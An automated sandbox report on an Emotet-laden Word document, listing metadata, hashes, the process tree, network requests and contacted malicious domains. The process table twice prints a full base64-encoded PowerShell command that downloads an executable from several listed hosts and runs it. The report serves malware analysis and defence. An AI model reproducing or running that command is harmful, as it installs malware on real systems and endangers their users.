File name: | 002f8866-278a-42bb-b89f-67c0a6ac58df.doc |
Full analysis: | https://app.any.run/tasks/844ab8fc-e7e6-4e89-9cb1-2b83e6c0c67f |
Verdict: | Malicious activity |
Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
Analysis date: | December 06, 2019, 16:18:51 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Author: Ewell Fahey, Template: Normal.dotm, Last Saved By: Demetrius Simonis, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Thu Oct 17 21:44:00 2019, Last Saved Time/Date: Thu Oct 17 21:44:00 2019, Number of Pages: 1, Number of Words: 98, Number of Characters: 559, Security: 0 |
MD5: | 40F32DE212959F076A4492053A6A8334 |
SHA1: | EEF55ED162A9856C26060153E07AE4473E31DB2A |
SHA256: | 9AA1106AB24EF540A68472D57F7DFCB6624FDF3E9CC1D78110E090EDC79CCAED |
SSDEEP: | 6144:vd2zzIMYDN1H2E79j9NLkI07NSU4jJ7tATfDzMN9G6Ai0y1zXVhHdKezQJYJh8d9:vd2zzIMYDN1H2E79jHX07NSU4tePgN9k |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | Ewell Fahey |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | Demetrius Simonis |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2019:10:17 20:44:00 |
ModifyDate: | 2019:10:17 20:44:00 |
Pages: | 1 |
Words: | 98 |
Characters: | 559 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 4 |
Paragraphs: | 1 |
CharCountWithSpaces: | 656 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2620 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\002f8866-278a-42bb-b89f-67c0a6ac58df.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
1212 | powershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABOAGQAZwBrAGYAdgBtAHMAcgBrAD0AJwBDAHUAawBuAG4AYgB4AG0AbQBuAHEAZgBrACcAOwAkAFQAdgB3AHcAdwB5AG4AbgAgAD0AIAAnADQANgA0ACcAOwAkAFAAdwBnAHUAbwBnAHMAeQBiAHIAdgA9ACcAWgBwAHMAZgB4AHQAYgBtACcAOwAkAEgAYgB0AGcAYwBoAGMAYQBpAHAAcgBoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABUAHYAdwB3AHcAeQBuAG4AKwAnAC4AZQB4AGUAJwA7ACQATQBwAGEAegBhAG4AYgBhAHQAdgA9ACcAVgBlAGEAaAB2AGMAbQBtACcAOwAkAE8AcABzAG8AcQBpAHgAbQBwAG0AdAB4AD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcAZQBiAGMAbABJAGUATgBUADsAJABGAGMAeAB2AGIAbQB1AHAAYgBmAD0AJwBoAHQAdABwADoALwAvAHMAZQB4AHQAcgB1AHkAZQBuAC4AYwBvAG0ALwBnAGkAZQBvAHIAaQBzAGoAMgBrAGUALwBsAHQAQwBJAGwAUABFAHAARQAvACoAaAB0AHQAcABzADoALwAvAG0AbwBrAGgAbwBhAGYAYQBjAGUAYgBvAG8AawB2AG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB0AGgAZQBtAGUAcwAvAGwAYQBsAGkAdABhAC8AagA4ADUAcwBvAC0ANgAzAGIAMAB5ADMAcwAxAHoAcgAtADMANwAwADMAMgAwADUALwAqAGgAdAB0AHAAcwA6AC8ALwB3AGEAcgBlAHMAawB5AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBiAEoAaQBRAFgAQwBSAE8ARQAvACoAaAB0AHQAcABzADoALwAvAHcAaQBsAGQAYwBhAHIAZAAuAHcAcABtAHUAZABlAHYALgBoAG8AcwB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AagBvADcAMABpAG0AdQAtADcAcgB1AHgAdgBjADAAZQB5AC0ANAA3ADMAMAA3AC8AKgBoAHQAdABwAHMAOgAvAC8AcABsAHUAbQB0AGgAZQBtAGUALgBpAHIALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMQB3AGcAMQB3AC0AYwB5AGMAOAA4AGMAZwBqADkAagAtADIANwAxADMALwAnAC4AIgBTAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQASwBpAG4AeQB4AHoAbQBzAHkAPQAnAEwAdABlAG8AaABzAGwAegByACcAOwBmAG8AcgBlAGEAYwBoACgAJABWAHQAZgBlAGgAeABsAG0AIABpAG4AIAAkAEYAYwB4AHYAYgBtAHUAcABiAGYAKQB7AHQAcgB5AHsAJABPAHAAcwBvAHEAaQB4AG0AcABtAHQAeAAuACIAZABPAHcAYABOAGwAYABPAGEAZABmAGkAYABsAEUAIgAoACQAVgB0AGYAZQBoAHgAbABtACwAIAAkAEgAYgB0AGcAYwBoAGMAYQBpAHAAcgBoACkAOwAkAEUAdwB0AG8AZgBxAHgAegBhAHgAbwBnAD0AJwBNAGIAcABiAG4AYQB3AHgAdwBrAGsAdgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEgAYgB0AGcAYwBoAGMAYQBpAHAAcgBoACkALgAiAGwAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA0ADUAMgAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABgAEEAUgB0ACIAKAAkAEgAYgB0AGcAYwBoAGMAYQBpAHAAcgBoACkAOwAkAEEAbQBlAGQAdABlAHEAZQBpAHUAPQAnAFoAYgBpAHcAbQB6AHgAdQBxAHYAeQBlACcAOwBiAHIAZQBhAGsAOwAkAEgAYQBqAGQAagB4AGoAcAB6AGsAawBkAD0AJwBWAHgAZwBnAHEAZgB4AHYAbgBuAHgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVAB0AGYAbgBhAGIAeQB3AHAAdQBmAGwAegA9ACcAQgB5AGwAagBvAGoAeQB0AG8AcwAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3336 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\~$2f8866-278a-42bb-b89f-67c0a6ac58df.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
3308 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\002f8866-278a-42bb-b89f-67c0a6ac58df.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
284 | powershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABOAGQAZwBrAGYAdgBtAHMAcgBrAD0AJwBDAHUAawBuAG4AYgB4AG0AbQBuAHEAZgBrACcAOwAkAFQAdgB3AHcAdwB5AG4AbgAgAD0AIAAnADQANgA0ACcAOwAkAFAAdwBnAHUAbwBnAHMAeQBiAHIAdgA9ACcAWgBwAHMAZgB4AHQAYgBtACcAOwAkAEgAYgB0AGcAYwBoAGMAYQBpAHAAcgBoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABUAHYAdwB3AHcAeQBuAG4AKwAnAC4AZQB4AGUAJwA7ACQATQBwAGEAegBhAG4AYgBhAHQAdgA9ACcAVgBlAGEAaAB2AGMAbQBtACcAOwAkAE8AcABzAG8AcQBpAHgAbQBwAG0AdAB4AD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAdAAuAHcAZQBiAGMAbABJAGUATgBUADsAJABGAGMAeAB2AGIAbQB1AHAAYgBmAD0AJwBoAHQAdABwADoALwAvAHMAZQB4AHQAcgB1AHkAZQBuAC4AYwBvAG0ALwBnAGkAZQBvAHIAaQBzAGoAMgBrAGUALwBsAHQAQwBJAGwAUABFAHAARQAvACoAaAB0AHQAcABzADoALwAvAG0AbwBrAGgAbwBhAGYAYQBjAGUAYgBvAG8AawB2AG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB0AGgAZQBtAGUAcwAvAGwAYQBsAGkAdABhAC8AagA4ADUAcwBvAC0ANgAzAGIAMAB5ADMAcwAxAHoAcgAtADMANwAwADMAMgAwADUALwAqAGgAdAB0AHAAcwA6AC8ALwB3AGEAcgBlAHMAawB5AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBiAEoAaQBRAFgAQwBSAE8ARQAvACoAaAB0AHQAcABzADoALwAvAHcAaQBsAGQAYwBhAHIAZAAuAHcAcABtAHUAZABlAHYALgBoAG8AcwB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AagBvADcAMABpAG0AdQAtADcAcgB1AHgAdgBjADAAZQB5AC0ANAA3ADMAMAA3AC8AKgBoAHQAdABwAHMAOgAvAC8AcABsAHUAbQB0AGgAZQBtAGUALgBpAHIALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMQB3AGcAMQB3AC0AYwB5AGMAOAA4AGMAZwBqADkAagAtADIANwAxADMALwAnAC4AIgBTAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQASwBpAG4AeQB4AHoAbQBzAHkAPQAnAEwAdABlAG8AaABzAGwAegByACcAOwBmAG8AcgBlAGEAYwBoACgAJABWAHQAZgBlAGgAeABsAG0AIABpAG4AIAAkAEYAYwB4AHYAYgBtAHUAcABiAGYAKQB7AHQAcgB5AHsAJABPAHAAcwBvAHEAaQB4AG0AcABtAHQAeAAuACIAZABPAHcAYABOAGwAYABPAGEAZABmAGkAYABsAEUAIgAoACQAVgB0AGYAZQBoAHgAbABtACwAIAAkAEgAYgB0AGcAYwBoAGMAYQBpAHAAcgBoACkAOwAkAEUAdwB0AG8AZgBxAHgAegBhAHgAbwBnAD0AJwBNAGIAcABiAG4AYQB3AHgAdwBrAGsAdgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEgAYgB0AGcAYwBoAGMAYQBpAHAAcgBoACkALgAiAGwAZQBgAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA0ADUAMgAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABgAEEAUgB0ACIAKAAkAEgAYgB0AGcAYwBoAGMAYQBpAHAAcgBoACkAOwAkAEEAbQBlAGQAdABlAHEAZQBpAHUAPQAnAFoAYgBpAHcAbQB6AHgAdQBxAHYAeQBlACcAOwBiAHIAZQBhAGsAOwAkAEgAYQBqAGQAagB4AGoAcAB6AGsAawBkAD0AJwBWAHgAZwBnAHEAZgB4AHYAbgBuAHgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVAB0AGYAbgBhAGIAeQB3AHAAdQBmAGwAegA9ACcAQgB5AGwAagBvAGoAeQB0AG8AcwAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | wmiprvse.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA989.tmp.cvr | — | |
MD5:— | SHA256:— | |||
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\B03CEBA5.wmf | — | |
MD5:— | SHA256:— | |||
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3C18B562.wmf | — | |
MD5:— | SHA256:— | |||
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9C1841FB.wmf | — | |
MD5:— | SHA256:— | |||
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9085BC0.wmf | — | |
MD5:— | SHA256:— | |||
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BFBB28C1.wmf | — | |
MD5:— | SHA256:— | |||
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4996F7CE.wmf | — | |
MD5:— | SHA256:— | |||
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1684A977.wmf | — | |
MD5:— | SHA256:— | |||
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\8CE1050C.wmf | — | |
MD5:— | SHA256:— | |||
2620 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4D9C099D.wmf | — | |
MD5:— | SHA256:— |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
— | — | GET | — | 94.237.76.21:80 | http://sextruyen.com/gieorisj2ke/ltCIlPEpE/ | FI | — | — | unknown |
2620 | WINWORD.EXE | GET | 200 | 52.109.32.27:80 | http://office14client.microsoft.com/config14?UILCID=1033&CLCID=1033&ILCID=1033&HelpLCID=1033&App={019C826E-445A-4649-A5B0-0BF08FCC4EEE}&build=14.0.6023 | GB | xml | 1.99 Kb | whitelisted |
1212 | powershell.exe | GET | 200 | 94.237.76.21:80 | http://sextruyen.com/cgi-sys/suspendedpage.cgi | FI | html | 7.41 Kb | unknown |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
1212 | powershell.exe | 94.237.76.21:80 | sextruyen.com | — | FI | unknown |
1212 | powershell.exe | 104.27.164.236:443 | waresky.com | Cloudflare Inc | US | shared |
2620 | WINWORD.EXE | 52.109.32.27:80 | office14client.microsoft.com | Microsoft Corporation | GB | whitelisted |
1212 | powershell.exe | 104.18.60.46:443 | mokhoafacebookvn.com | Cloudflare Inc | US | suspicious |
— | — | 94.237.76.21:80 | sextruyen.com | — | FI | unknown |
1212 | powershell.exe | 94.130.3.117:443 | plumtheme.ir | Hetzner Online GmbH | DE | malicious |
2620 | WINWORD.EXE | 52.109.120.28:443 | rr.office.microsoft.com | Microsoft Corporation | HK | whitelisted |
Domain | IP | Reputation |
---|---|---|
sextruyen.com |
| unknown |
office14client.microsoft.com |
| whitelisted |
mokhoafacebookvn.com |
| suspicious |
waresky.com |
| suspicious |
wildcard.wpmudev.host |
| unknown |
plumtheme.ir |
| malicious |
rr.office.microsoft.com |
| whitelisted |